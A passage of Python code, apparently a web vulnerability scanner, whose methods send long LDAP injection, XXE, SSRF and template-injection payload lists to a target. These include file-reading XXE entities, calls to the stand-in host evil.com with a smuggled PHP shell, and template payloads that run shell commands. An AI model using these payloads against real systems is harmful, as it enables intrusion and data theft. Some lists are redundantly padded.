            '*)(|(member=*)(groupMembership=*))',
            '*)(&(cn=*))',
            '*)(&(uid=*))',
            '*)(&(mail=*))',
            '*)(&(sn=*))',
            '*)(&(givenName=*))',
            '*)(&(displayName=*))',
            '*)(&(sAMAccountName=*))',
            '*)(&(userPrincipalName=*))',
            '*)(&(distinguishedName=*))',
            '*)(&(objectClass=*))',
            '*)(&(objectCategory=*))',
            '*)(&(memberOf=*))',
            '*)(&(member=*))',
            '*)(&(groupMembership=*))',
            '*)(&(cn=*)(uid=*))',
            '*)(&(cn=*)(mail=*))',
            '*)(&(cn=*)(sn=*))',
            '*)(&(cn=*)(givenName=*))',
            '*)(&(cn=*)(displayName=*))',
            '*)(&(cn=*)(sAMAccountName=*))',
            '*)(&(cn=*)(userPrincipalName=*))',
            '*)(&(cn=*)(distinguishedName=*))',
            '*)(&(cn=*)(objectClass=*))',
            '*)(&(cn=*)(objectCategory=*))',
            '*)(&(cn=*)(memberOf=*))',
            '*)(&(cn=*)(member=*))',
            '*)(&(cn=*)(groupMembership=*))',
            '*)(&(uid=*)(mail=*))',
            '*)(&(uid=*)(sn=*))',
            '*)(&(uid=*)(givenName=*))',
            '*)(&(uid=*)(displayName=*))',
            '*)(&(uid=*)(sAMAccountName=*))',
            '*)(&(uid=*)(userPrincipalName=*))',
            '*)(&(uid=*)(distinguishedName=*))',
            '*)(&(uid=*)(objectClass=*))',
            '*)(&(uid=*)(objectCategory=*))',
            '*)(&(uid=*)(memberOf=*))',
            '*)(&(uid=*)(member=*))',
            '*)(&(uid=*)(groupMembership=*))',
            '*)(&(mail=*)(sn=*))',
            '*)(&(mail=*)(givenName=*))',
            '*)(&(mail=*)(displayName=*))',
            '*)(&(mail=*)(sAMAccountName=*))',
            '*)(&(mail=*)(userPrincipalName=*))',
            '*)(&(mail=*)(distinguishedName=*))',
            '*)(&(mail=*)(objectClass=*))',
            '*)(&(mail=*)(objectCategory=*))',
            '*)(&(mail=*)(memberOf=*))',
            '*)(&(mail=*)(member=*))',
            '*)(&(mail=*)(groupMembership=*))',
            '*)(&(sn=*)(givenName=*))',
            '*)(&(sn=*)(displayName=*))',
            '*)(&(sn=*)(sAMAccountName=*))',
            '*)(&(sn=*)(userPrincipalName=*))',
            '*)(&(sn=*)(distinguishedName=*))',
            '*)(&(sn=*)(objectClass=*))',
            '*)(&(sn=*)(objectCategory=*))',
            '*)(&(sn=*)(memberOf=*))',
            '*)(&(sn=*)(member=*))',
            '*)(&(sn=*)(groupMembership=*))',
            '*)(&(givenName=*)(displayName=*))',
            '*)(&(givenName=*)(sAMAccountName=*))',
            '*)(&(givenName=*)(userPrincipalName=*))',
            '*)(&(givenName=*)(distinguishedName=*))',
            '*)(&(givenName=*)(objectClass=*))',
            '*)(&(givenName=*)(objectCategory=*))',
            '*)(&(givenName=*)(memberOf=*))',
            '*)(&(givenName=*)(member=*))',
            '*)(&(givenName=*)(groupMembership=*))',
            '*)(&(displayName=*)(sAMAccountName=*))',
            '*)(&(displayName=*)(userPrincipalName=*))',
            '*)(&(displayName=*)(distinguishedName=*))',
            '*)(&(displayName=*)(objectClass=*))',
            '*)(&(displayName=*)(objectCategory=*))',
            '*)(&(displayName=*)(memberOf=*))',
            '*)(&(displayName=*)(member=*))',
            '*)(&(displayName=*)(groupMembership=*))',
            '*)(&(sAMAccountName=*)(userPrincipalName=*))',
            '*)(&(sAMAccountName=*)(distinguishedName=*))',
            '*)(&(sAMAccountName=*)(objectClass=*))',
            '*)(&(sAMAccountName=*)(objectCategory=*))',
            '*)(&(sAMAccountName=*)(memberOf=*))',
            '*)(&(sAMAccountName=*)(member=*))',
            '*)(&(sAMAccountName=*)(groupMembership=*))',
            '*)(&(userPrincipalName=*)(distinguishedName=*))',
            '*)(&(userPrincipalName=*)(objectClass=*))',
            '*)(&(userPrincipalName=*)(objectCategory=*))',
            '*)(&(userPrincipalName=*)(memberOf=*))',
            '*)(&(userPrincipalName=*)(member=*))',
            '*)(&(userPrincipalName=*)(groupMembership=*))',
            '*)(&(distinguishedName=*)(objectClass=*))',
            '*)(&(distinguishedName=*)(objectCategory=*))',
            '*)(&(distinguishedName=*)(memberOf=*))',
            '*)(&(distinguishedName=*)(member=*))',
            '*)(&(distinguishedName=*)(groupMembership=*))',
            '*)(&(objectClass=*)(objectCategory=*))',
            '*)(&(objectClass=*)(memberOf=*))',
            '*)(&(objectClass=*)(member=*))',
            '*)(&(objectClass=*)(groupMembership=*))',
            '*)(&(objectCategory=*)(memberOf=*))',
            '*)(&(objectCategory=*)(member=*))',
            '*)(&(objectCategory=*)(groupMembership=*))',
            '*)(&(memberOf=*)(member=*))',
            '*)(&(memberOf=*)(groupMembership=*))',
            '*)(&(member=*)(groupMembership=*))',
            '*))(|(cn=*))',
            '*))(|(uid=*))',
            '*))(|(mail=*))',
            '*))(|(sn=*))',
            '*))(|(givenName=*))',
            '*))(|(displayName=*))',
            '*))(|(sAMAccountName=*))',
            '*))(|(userPrincipalName=*))',
            '*))(|(distinguishedName=*))',
            '*))(|(objectClass=*))',
            '*))(|(objectCategory=*))',
            '*))(|(memberOf=*))',
            '*))(|(member=*))',
            '*))(|(groupMembership=*))',
            '*))(&(cn=*))',
            '*))(&(uid=*))',
            '*))(&(mail=*))',
            '*))(&(sn=*))',
            '*))(&(givenName=*))',
            '*))(&(displayName=*))',
            '*))(&(sAMAccountName=*))',
            '*))(&(userPrincipalName=*))',
            '*))(&(distinguishedName=*))',
            '*))(&(objectClass=*))',
            '*))(&(objectCategory=*))',
            '*))(&(memberOf=*))',
            '*))(&(member=*))',
            '*))(&(groupMembership=*))',
            '*))(|(cn=*)(uid=*))',
            '*))(|(cn=*)(mail=*))',
            '*))(|(cn=*)(sn=*))',
            '*))(|(cn=*)(givenName=*))',
            '*))(|(cn=*)(displayName=*))',
            '*))(|(cn=*)(sAMAccountName=*))',
            '*))(|(cn=*)(userPrincipalName=*))',
            '*))(|(cn=*)(distinguishedName=*))',
            '*))(|(cn=*)(objectClass=*))',
            '*))(|(cn=*)(objectCategory=*))',
            '*))(|(cn=*)(memberOf=*))',
            '*))(|(cn=*)(member=*))',
            '*))(|(cn=*)(groupMembership=*))',
            '*))(&(cn=*)(uid=*))',
            '*))(&(cn=*)(mail=*))',
            '*))(&(cn=*)(sn=*))',
            '*))(&(cn=*)(givenName=*))',
            '*))(&(cn=*)(displayName=*))',
            '*))(&(cn=*)(sAMAccountName=*))',
            '*))(&(cn=*)(userPrincipalName=*))',
            '*))(&(cn=*)(distinguishedName=*))',
            '*))(&(cn=*)(objectClass=*))',
            '*))(&(cn=*)(objectCategory=*))',
            '*))(&(cn=*)(memberOf=*))',
            '*))(&(cn=*)(member=*))',
            '*))(&(cn=*)(groupMembership=*))',
            '*))(|(uid=*)(mail=*))',
            '*))(|(uid=*)(sn=*))',
            '*))(|(uid=*)(givenName=*))',
            '*))(|(uid=*)(displayName=*))',
            '*))(|(uid=*)(sAMAccountName=*))',
            '*))(|(uid=*)(userPrincipalName=*))',
            '*))(|(uid=*)(distinguishedName=*))',
            '*))(|(uid=*)(objectClass=*))',
            '*))(|(uid=*)(objectCategory=*))',
            '*))(|(uid=*)(memberOf=*))',
            '*))(|(uid=*)(member=*))',
            '*))(|(uid=*)(groupMembership=*))',
            '*))(&(uid=*)(mail=*))',
            '*))(&(uid=*)(sn=*))',
            '*))(&(uid=*)(givenName=*))',
            '*))(&(uid=*)(displayName=*))',
            '*))(&(uid=*)(sAMAccountName=*))',
            '*))(&(uid=*)(userPrincipalName=*))',
            '*))(&(uid=*)(distinguishedName=*))',
            '*))(&(uid=*)(objectClass=*))',
            '*))(&(uid=*)(objectCategory=*))',
            '*))(&(uid=*)(memberOf=*))',
            '*))(&(uid=*)(member=*))',
            '*))(&(uid=*)(groupMembership=*))',
            '*))(|(mail=*)(sn=*))',
            '*))(|(mail=*)(givenName=*))',
            '*))(|(mail=*)(displayName=*))',
            '*))(|(mail=*)(sAMAccountName=*))',
            '*))(|(mail=*)(userPrincipalName=*))',
            '*))(|(mail=*)(distinguishedName=*))',
            '*))(|(mail=*)(objectClass=*))',
            '*))(|(mail=*)(objectCategory=*))',
            '*))(|(mail=*)(memberOf=*))',
            '*))(|(mail=*)(member=*))',
            '*))(|(mail=*)(groupMembership=*))',
            '*))(&(mail=*)(sn=*))',
            '*))(&(mail=*)(givenName=*))',
            '*))(&(mail=*)(displayName=*))',
            '*))(&(mail=*)(sAMAccountName=*))',
            '*))(&(mail=*)(userPrincipalName=*))',
            '*))(&(mail=*)(distinguishedName=*))',
            '*))(&(mail=*)(objectClass=*))',
            '*))(&(mail=*)(objectCategory=*))',
            '*))(&(mail=*)(memberOf=*))',
            '*))(&(mail=*)(member=*))',
            '*))(&(mail=*)(groupMembership=*))',
            '*))(|(sn=*)(givenName=*))',
            '*))(|(sn=*)(displayName=*))',
            '*))(|(sn=*)(sAMAccountName=*))',
            '*))(|(sn=*)(userPrincipalName=*))',
            '*))(|(sn=*)(distinguishedName=*))',
            '*))(|(sn=*)(objectClass=*))',
            '*))(|(sn=*)(objectCategory=*))',
            '*))(|(sn=*)(memberOf=*))',
            '*))(|(sn=*)(member=*))',
            '*))(|(sn=*)(groupMembership=*))',
            '*))(&(sn=*)(givenName=*))',
            '*))(&(sn=*)(displayName=*))',
            '*))(&(sn=*)(sAMAccountName=*))',
            '*))(&(sn=*)(userPrincipalName=*))',
            '*))(&(sn=*)(distinguishedName=*))',
            '*))(&(sn=*)(objectClass=*))',
            '*))(&(sn=*)(objectCategory=*))',
            '*))(&(sn=*)(memberOf=*))',
            '*))(&(sn=*)(member=*))',
            '*))(&(sn=*)(groupMembership=*))',
            '*))(|(givenName=*)(displayName=*))',
            '*))(|(givenName=*)(sAMAccountName=*))',
            '*))(|(givenName=*)(userPrincipalName=*))',
            '*))(|(givenName=*)(distinguishedName=*))',
            '*))(|(givenName=*)(objectClass=*))',
            '*))(|(givenName=*)(objectCategory=*))',
            '*))(|(givenName=*)(memberOf=*))',
            '*))(|(givenName=*)(member=*))',
            '*))(|(givenName=*)(groupMembership=*))',
            '*))(&(givenName=*)(displayName=*))',
            '*))(&(givenName=*)(sAMAccountName=*))',
            '*))(&(givenName=*)(userPrincipalName=*))',
            '*))(&(givenName=*)(distinguishedName=*))',
            '*))(&(givenName=*)(objectClass=*))',
            '*))(&(givenName=*)(objectCategory=*))',
            '*))(&(givenName=*)(memberOf=*))',
            '*))(&(givenName=*)(member=*))',
            '*))(&(givenName=*)(groupMembership=*))',
            '*))(|(displayName=*)(sAMAccountName=*))',
            '*))(|(displayName=*)(userPrincipalName=*))',
            '*))(|(displayName=*)(distinguishedName=*))',
            '*))(|(displayName=*)(objectClass=*))',
            '*))(|(displayName=*)(objectCategory=*))',
            '*))(|(displayName=*)(memberOf=*))',
            '*))(|(displayName=*)(member=*))',
            '*))(|(displayName=*)(groupMembership=*))',
            '*))(&(displayName=*)(sAMAccountName=*))',
            '*))(&(displayName=*)(userPrincipalName=*))',
            '*))(&(displayName=*)(distinguishedName=*))',
            '*))(&(displayName=*)(objectClass=*))',
            '*))(&(displayName=*)(objectCategory=*))',
            '*))(&(displayName=*)(memberOf=*))',
            '*))(&(displayName=*)(member=*))',
            '*))(&(displayName=*)(groupMembership=*))',
            '*))(|(sAMAccountName=*)(userPrincipalName=*))',
            '*))(|(sAMAccountName=*)(distinguishedName=*))',
            '*))(|(sAMAccountName=*)(objectClass=*))',
            '*))(|(sAMAccountName=*)(objectCategory=*))',
            '*))(|(sAMAccountName=*)(memberOf=*))',
            '*))(|(sAMAccountName=*)(member=*))',
            '*))(|(sAMAccountName=*)(groupMembership=*))',
            '*))(&(sAMAccountName=*)(userPrincipalName=*))',
            '*))(&(sAMAccountName=*)(distinguishedName=*))',
            '*))(&(sAMAccountName=*)(objectClass=*))',
            '*))(&(sAMAccountName=*)(objectCategory=*))',
            '*))(&(sAMAccountName=*)(memberOf=*))',
            '*))(&(sAMAccountName=*)(member=*))',
            '*))(&(sAMAccountName=*)(groupMembership=*))',
            '*))(|(userPrincipalName=*)(distinguishedName=*))',
            '*))(|(userPrincipalName=*)(objectClass=*))',
            '*))(|(userPrincipalName=*)(objectCategory=*))',
            '*))(|(userPrincipalName=*)(memberOf=*))',
            '*))(|(userPrincipalName=*)(member=*))',
            '*))(|(userPrincipalName=*)(groupMembership=*))',
            '*))(&(userPrincipalName=*)(distinguishedName=*))',
            '*))(&(userPrincipalName=*)(objectClass=*))',
            '*))(&(userPrincipalName=*)(objectCategory=*))',
            '*))(&(userPrincipalName=*)(memberOf=*))',
            '*))(&(userPrincipalName=*)(member=*))',
            '*))(&(userPrincipalName=*)(groupMembership=*))',
            '*))(|(distinguishedName=*)(objectClass=*))',
            '*))(|(distinguishedName=*)(objectCategory=*))',
            '*))(|(distinguishedName=*)(memberOf=*))',
            '*))(|(distinguishedName=*)(member=*))',
            '*))(|(distinguishedName=*)(groupMembership=*))',
            '*))(&(distinguishedName=*)(objectClass=*))',
            '*))(&(distinguishedName=*)(objectCategory=*))',
            '*))(&(distinguishedName=*)(memberOf=*))',
            '*))(&(distinguishedName=*)(member=*))',
            '*))(&(distinguishedName=*)(groupMembership=*))',
            '*))(|(objectClass=*)(objectCategory=*))',
            '*))(|(objectClass=*)(memberOf=*))',
            '*))(|(objectClass=*)(member=*))',
            '*))(|(objectClass=*)(groupMembership=*))',
            '*))(&(objectClass=*)(objectCategory=*))',
            '*))(&(objectClass=*)(memberOf=*))',
            '*))(&(objectClass=*)(member=*))',
            '*))(&(objectClass=*)(groupMembership=*))',
            '*))(|(objectCategory=*)(memberOf=*))',
            '*))(|(objectCategory=*)(member=*))',
            '*))(|(objectCategory=*)(groupMembership=*))',
            '*))(&(objectCategory=*)(memberOf=*))',
            '*))(&(objectCategory=*)(member=*))',
            '*))(&(objectCategory=*)(groupMembership=*))',
            '*))(|(memberOf=*)(member=*))',
            '*))(|(memberOf=*)(groupMembership=*))',
            '*))(&(memberOf=*)(member=*))',
            '*))(&(memberOf=*)(groupMembership=*))',
            '*))(|(member=*)(groupMembership=*))',
            '*))(&(member=*)(groupMembership=*))'
        ]
        
        test_params = ['username', 'user', 'uid', 'cn', 'search', 'filter', 'query', 'q', 'input', 'name', 'login', 'email', 'mail', 'account', 'accountName', 'account_name', 'sAMAccountName', 'sAM_account_name', 'userPrincipalName', 'user_principal_name', 'distinguishedName', 'distinguished_name', 'displayName', 'display_name', 'givenName', 'given_name', 'sn', 'surname', 'surName', 'sur_name', 'telephoneNumber', 'telephone_number', 'mobile', 'homePhone', 'home_phone', 'facsimileTelephoneNumber', 'facsimile_telephone_number', 'streetAddress', 'street_address', 'postalCode', 'postal_code', 'l', 'locality', 'st', 'state', 'c', 'country', 'co', 'countryCode', 'country_code', 'postalAddress', 'postal_address', 'physicalDeliveryOfficeName', 'physical_delivery_office_name', 'ou', 'organizationalUnit', 'organizational_unit', 'o', 'organization', 'dc', 'domainComponent', 'domain_component', 'objectClass', 'object_class', 'objectCategory', 'object_category', 'memberOf', 'member_of', 'member', 'groupMembership', 'group_membership', 'department', 'title', 'description']
        
        for param in test_params:
            for payload in ldap_payloads:
                try:
                    test_url = f"{target_url}?{param}={urllib.parse.quote(payload)}"
                    response = self.session.get(test_url)
                    
                    # Check for LDAP error patterns
                    ldap_errors = [
                        'Invalid DN syntax',
                        'LDAP: error code',
                        'javax.naming.directory',
                        'LDAPException',
                        'com.sun.jndi.ldap',
                        'Invalid search filter'
                    ]
                    
                    for error in ldap_errors:
                        if error in response.text:
                            vulnerabilities.append({
                                'type': 'LDAP Injection',
                                'severity': 'High',
                                'risk_level': 'high',
                                'url': test_url,
                                'payload': payload,
                                'parameter': param,
                                'description': f'LDAP injection in parameter {param}',
                                'evidence': error,
                                'recommendation': 'Use parameterized LDAP queries and input validation'
                            })
                            break
                            
                except Exception as e:
                    continue
        
        return vulnerabilities

    def check_xxe_injection(self, target_url):
        """Check for XXE (XML External Entity) injection vulnerabilities"""
        vulnerabilities = []
        
        # XXE injection payloads
        xxe_payloads = [
            '<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>',
            '<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]><foo>&xxe;</foo>',
            '<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "http://evil.com/evil.dtd" >]><foo>&xxe;</foo>',
            '<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "data://text/plain;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==" >]><foo>&xxe;</foo>',
            '<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "expect://id" >]><foo>&xxe;</foo>',
            '<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php" >]><foo>&xxe;</foo>',
            '<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "jar:file:///tmp/test.jar!/test.txt" >]><foo>&xxe;</foo>',
            '<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "netdoc:///etc/passwd" >]><foo>&xxe;</foo>',
            '<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "gopher://evil.com:25/_HELO%20evil.com%250d%250aMAIL%20FROM:%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%3F%3E%250d%250aRCPT%20TO:;%250d%250aDATA%250d%250aSubject:%20test%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a" >]><foo>&xxe;</foo>',
            '<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "dict://evil.com:1337/" >]><foo>&xxe;</foo>'
        ]
        
        # Test parameters that commonly accept XML
        xml_params = ['xml', 'data', 'input', 'content', 'body', 'payload', 'request', 'xml_data', 'xml_content', 'xml_body', 'xml_payload', 'xml_request']
        
        for param in xml_params:
            for payload in xxe_payloads:
                try:
                    headers = {'Content-Type': 'application/xml'}
                    test_data = {param: payload}
                    
                    # Try POST request first
                    response = self.session.post(target_url, data=test_data, headers=headers, timeout=10)
                    
                    # Check for XXE indicators
                    xxe_indicators = [
                        'root:x:0:0:', '[boot loader]', 'daemon:x:', 'bin:x:', 'sys:x:',
                        'xml error', 'xml parse error', 'entity reference', 'external entity',
                        'file://', 'http://', 'expect://', 'php://', 'jar://', 'netdoc://',
                        'gopher://', 'dict://', 'ftp://', 'ldap://', 'tftp://', 'telnet://'
                    ]
                    
                    for indicator in xxe_indicators:
                        if indicator.lower() in response.text.lower():
                            vulnerabilities.append({
                                'type': 'XXE Injection',
                                'severity': 'High',
                                'risk_level': 'high',
                                'url': target_url,
                                'payload': payload[:100] + '...' if len(payload) > 100 else payload,
                                'parameter': param,
                                'description': f'XXE injection vulnerability in parameter "{param}"',
                                'evidence': indicator,
                                'recommendation': 'Disable external entity processing in XML parser'
                            })
                            break
                            
                except Exception as e:
                    continue
        
        return vulnerabilities

    def check_ssrf(self, target_url):
        """Check for SSRF (Server-Side Request Forgery) vulnerabilities"""
        vulnerabilities = []
        
        # SSRF payloads
        ssrf_payloads = [
            'http://127.0.0.1',
            'http://localhost',
            'http://0.0.0.0',
            'http://[::1]',
            'http://2130706433',
            'http://017700000001',
            'http://0x7f000001',
            'http://0177.0.0.1',
            'http://0x7f.0.0.1',
            'http://127.1',
            'http://127.0.1',
            'http://127.0.0.0',
            'http://127.0.0.2',
            'http://127.0.0.3',
            'http://127.0.0.4',
            'http://127.0.0.5',
            'http://127.0.0.6',
            'http://127.0.0.7',
            'http://127.0.0.8',
            'http://127.0.0.9',
            'http://127.0.0.10',
            'http://127.0.0.11',
            'http://127.0.0.12',
            'http://127.0.0.13',
            'http://127.0.0.14',
            'http://127.0.0.15',
            'http://127.0.0.16',
            'http://127.0.0.17',
            'http://127.0.0.18',
            'http://127.0.0.19',
            'http://127.0.0.20',
            'http://127.0.0.21',
            'http://127.0.0.22',
            'http://127.0.0.23',
            'http://127.0.0.24',
            'http://127.0.0.25',
            'http://127.0.0.26',
            'http://127.0.0.27',
            'http://127.0.0.28',
            'http://127.0.0.29',
            'http://127.0.0.30',
            'http://127.0.0.31',
            'http://127.0.0.32',
            'http://127.0.0.33',
            'http://127.0.0.34',
            'http://127.0.0.35',
            'http://127.0.0.36',
            'http://127.0.0.37',
            'http://127.0.0.38',
            'http://127.0.0.39',
            'http://127.0.0.40',
            'http://127.0.0.41',
            'http://127.0.0.42',
            'http://127.0.0.43',
            'http://127.0.0.44',
            'http://127.0.0.45',
            'http://127.0.0.46',
            'http://127.0.0.47',
            'http://127.0.0.48',
            'http://127.0.0.49',
            'http://127.0.0.50',
            'http://127.0.0.51',
            'http://127.0.0.52',
            'http://127.0.0.53',
            'http://127.0.0.54',
            'http://127.0.0.55',
            'http://127.0.0.56',
            'http://127.0.0.57',
            'http://127.0.0.58',
            'http://127.0.0.59',
            'http://127.0.0.60',
            'http://127.0.0.61',
            'http://127.0.0.62',
            'http://127.0.0.63',
            'http://127.0.0.64',
            'http://127.0.0.65',
            'http://127.0.0.66',
            'http://127.0.0.67',
            'http://127.0.0.68',
            'http://127.0.0.69',
            'http://127.0.0.70',
            'http://127.0.0.71',
            'http://127.0.0.72',
            'http://127.0.0.73',
            'http://127.0.0.74',
            'http://127.0.0.75',
            'http://127.0.0.76',
            'http://127.0.0.77',
            'http://127.0.0.78',
            'http://127.0.0.79',
            'http://127.0.0.80',
            'http://127.0.0.81',
            'http://127.0.0.82',
            'http://127.0.0.83',
            'http://127.0.0.84',
            'http://127.0.0.85',
            'http://127.0.0.86',
            'http://127.0.0.87',
            'http://127.0.0.88',
            'http://127.0.0.89',
            'http://127.0.0.90',
            'http://127.0.0.91',
            'http://127.0.0.92',
            'http://127.0.0.93',
            'http://127.0.0.94',
            'http://127.0.0.95',
            'http://127.0.0.96',
            'http://127.0.0.97',
            'http://127.0.0.98',
            'http://127.0.0.99',
            'http://127.0.0.100',
            'http://127.0.0.101',
            'http://127.0.0.102',
            'http://127.0.0.103',
            'http://127.0.0.104',
            'http://127.0.0.105',
            'http://127.0.0.106',
            'http://127.0.0.107',
            'http://127.0.0.108',
            'http://127.0.0.109',
            'http://127.0.0.110',
            'http://127.0.0.111',
            'http://127.0.0.112',
            'http://127.0.0.113',
            'http://127.0.0.114',
            'http://127.0.0.115',
            'http://127.0.0.116',
            'http://127.0.0.117',
            'http://127.0.0.118',
            'http://127.0.0.119',
            'http://127.0.0.120',
            'http://127.0.0.121',
            'http://127.0.0.122',
            'http://127.0.0.123',
            'http://127.0.0.124',
            'http://127.0.0.125',
            'http://127.0.0.126',
            'http://127.0.0.127',
            'http://127.0.0.128',
            'http://127.0.0.129',
            'http://127.0.0.130',
            'http://127.0.0.131',
            'http://127.0.0.132',
            'http://127.0.0.133',
            'http://127.0.0.134',
            'http://127.0.0.135',
            'http://127.0.0.136',
            'http://127.0.0.137',
            'http://127.0.0.138',
            'http://127.0.0.139',
            'http://127.0.0.140',
            'http://127.0.0.141',
            'http://127.0.0.142',
            'http://127.0.0.143',
            'http://127.0.0.144',
            'http://127.0.0.145',
            'http://127.0.0.146',
            'http://127.0.0.147',
            'http://127.0.0.148',
            'http://127.0.0.149',
            'http://127.0.0.150',
            'http://127.0.0.151',
            'http://127.0.0.152',
            'http://127.0.0.153',
            'http://127.0.0.154',
            'http://127.0.0.155',
            'http://127.0.0.156',
            'http://127.0.0.157',
            'http://127.0.0.158',
            'http://127.0.0.159',
            'http://127.0.0.160',
            'http://127.0.0.161',
            'http://127.0.0.162',
            'http://127.0.0.163',
            'http://127.0.0.164',
            'http://127.0.0.165',
            'http://127.0.0.166',
            'http://127.0.0.167',
            'http://127.0.0.168',
            'http://127.0.0.169',
            'http://127.0.0.170',
            'http://127.0.0.171',
            'http://127.0.0.172',
            'http://127.0.0.173',
            'http://127.0.0.174',
            'http://127.0.0.175',
            'http://127.0.0.176',
            'http://127.0.0.177',
            'http://127.0.0.178',
            'http://127.0.0.179',
            'http://127.0.0.180',
            'http://127.0.0.181',
            'http://127.0.0.182',
            'http://127.0.0.183',
            'http://127.0.0.184',
            'http://127.0.0.185',
            'http://127.0.0.186',
            'http://127.0.0.187',
            'http://127.0.0.188',
            'http://127.0.0.189',
            'http://127.0.0.190',
            'http://127.0.0.191',
            'http://127.0.0.192',
            'http://127.0.0.193',
            'http://127.0.0.194',
            'http://127.0.0.195',
            'http://127.0.0.196',
            'http://127.0.0.197',
            'http://127.0.0.198',
            'http://127.0.0.199',
            'http://127.0.0.200',
            'http://127.0.0.201',
            'http://127.0.0.202',
            'http://127.0.0.203',
            'http://127.0.0.204',
            'http://127.0.0.205',
            'http://127.0.0.206',
            'http://127.0.0.207',
            'http://127.0.0.208',
            'http://127.0.0.209',
            'http://127.0.0.210',
            'http://127.0.0.211',
            'http://127.0.0.212',
            'http://127.0.0.213',
            'http://127.0.0.214',
            'http://127.0.0.215',
            'http://127.0.0.216',
            'http://127.0.0.217',
            'http://127.0.0.218',
            'http://127.0.0.219',
            'http://127.0.0.220',
            'http://127.0.0.221',
            'http://127.0.0.222',
            'http://127.0.0.223',
            'http://127.0.0.224',
            'http://127.0.0.225',
            'http://127.0.0.226',
            'http://127.0.0.227',
            'http://127.0.0.228',
            'http://127.0.0.229',
            'http://127.0.0.230',
            'http://127.0.0.231',
            'http://127.0.0.232',
            'http://127.0.0.233',
            'http://127.0.0.234',
            'http://127.0.0.235',
            'http://127.0.0.236',
            'http://127.0.0.237',
            'http://127.0.0.238',
            'http://127.0.0.239',
            'http://127.0.0.240',
            'http://127.0.0.241',
            'http://127.0.0.242',
            'http://127.0.0.243',
            'http://127.0.0.244',
            'http://127.0.0.245',
            'http://127.0.0.246',
            'http://127.0.0.247',
            'http://127.0.0.248',
            'http://127.0.0.249',
            'http://127.0.0.250',
            'http://127.0.0.251',
            'http://127.0.0.252',
            'http://127.0.0.253',
            'http://127.0.0.254',
            'http://127.0.0.255'
        ]
        
        # Test parameters that commonly accept URLs
        url_params = ['url', 'link', 'redirect', 'next', 'target', 'dest', 'destination', 'goto', 'return', 'callback', 'webhook', 'endpoint', 'api', 'service', 'proxy', 'fetch', 'request', 'get', 'post', 'put', 'delete', 'patch', 'head', 'options', 'trace', 'connect']
        
        for param in url_params:
            for payload in ssrf_payloads:
                try:
                    test_url = f"{target_url}?{param}={urllib.parse.quote(payload)}"
                    response = self.session.get(test_url, timeout=10)
                    
                    # Check for SSRF indicators
                    ssrf_indicators = [
                        'connection refused', 'connection timeout', 'connection error',
                        'network unreachable', 'host unreachable', 'port unreachable',
                        'no route to host', 'address already in use', 'broken pipe',
                        'connection reset', 'connection aborted', 'connection closed',
                        'connection lost', 'connection failed', 'connection denied',
                        'connection refused', 'connection timeout', 'connection error',
                        'network unreachable', 'host unreachable', 'port unreachable',
                        'no route to host', 'address already in use', 'broken pipe',
                        'connection reset', 'connection aborted', 'connection closed',
                        'connection lost', 'connection failed', 'connection denied'
                    ]
                    
                    for indicator in ssrf_indicators:
                        if indicator.lower() in response.text.lower():
                            vulnerabilities.append({
                                'type': 'SSRF',
                                'severity': 'High',
                                'risk_level': 'high',
                                'url': test_url,
                                'payload': payload,
                                'parameter': param,
                                'description': f'Potential SSRF vulnerability in parameter "{param}"',
                                'evidence': indicator,
                                'recommendation': 'Implement URL validation and whitelist allowed domains'
                            })
                            break
                            
                except Exception as e:
                    continue
        
        return vulnerabilities

    def check_template_injection(self, target_url):
        """Check for Server-Side Template Injection vulnerabilities"""
        vulnerabilities = []
        
        # Template injection payloads
        template_payloads = [
            # Basic template injection
            '{{7*7}}',
            '{{7*7}}',
            '{{7*7}}',
            '{{7*7}}',
            '{{7*7}}',
            '{{7*7}}',
            '{{7*7}}',
            '{{7*7}}',
            '{{7*7}}',
            '{{7*7}}',
            
            # Jinja2/Python templates
            '{{config}}',
            '{{config.items()}}',
            '{{config.values()}}',
            '{{config.keys()}}',
            '{{config.__class__}}',
            '{{config.__class__.__init__}}',
            '{{config.__class__.__init__.__globals__}}',
            '{{config.__class__.__init__.__globals__[\'os\']}}',
            '{{config.__class__.__init__.__globals__[\'os\'].popen(\'id\').read()}}',
            '{{config.__class__.__init__.__globals__[\'os\'].popen(\'whoami\').read()}}',
            
            # ERB/Ruby templates
            '<%= 7*7 %>',
            '<%= Dir.entries("/") %>',
            '<%= File.read("/etc/passwd") %>',
            '<%= system("id") %>',
            '<%= system("whoami") %>',
            '<%= system("ls -la") %>',
            '<%= system("pwd") %>',
            '<%= system("hostname") %>',
            '<%= system("uname -a") %>',
            '<%= system("cat /etc/passwd") %>',
            
            # PHP templates
            '<?php echo 7*7; ?>',
            '<?php system("id"); ?>',
            '<?php system("whoami"); ?>',
            '<?php system("ls -la"); ?>',
            '<?php system("pwd"); ?>',
            '<?php system("hostname"); ?>',
            '<?php system("uname -a"); ?>',
            '<?php system("cat /etc/passwd"); ?>',
            '<?php echo file_get_contents("/etc/passwd"); ?>',
            '<?php echo file_get_contents("/etc/hostname"); ?>',
            
            # Freemarker templates
            '${7*7}',
            '${7*7}',
            '${7*7}',
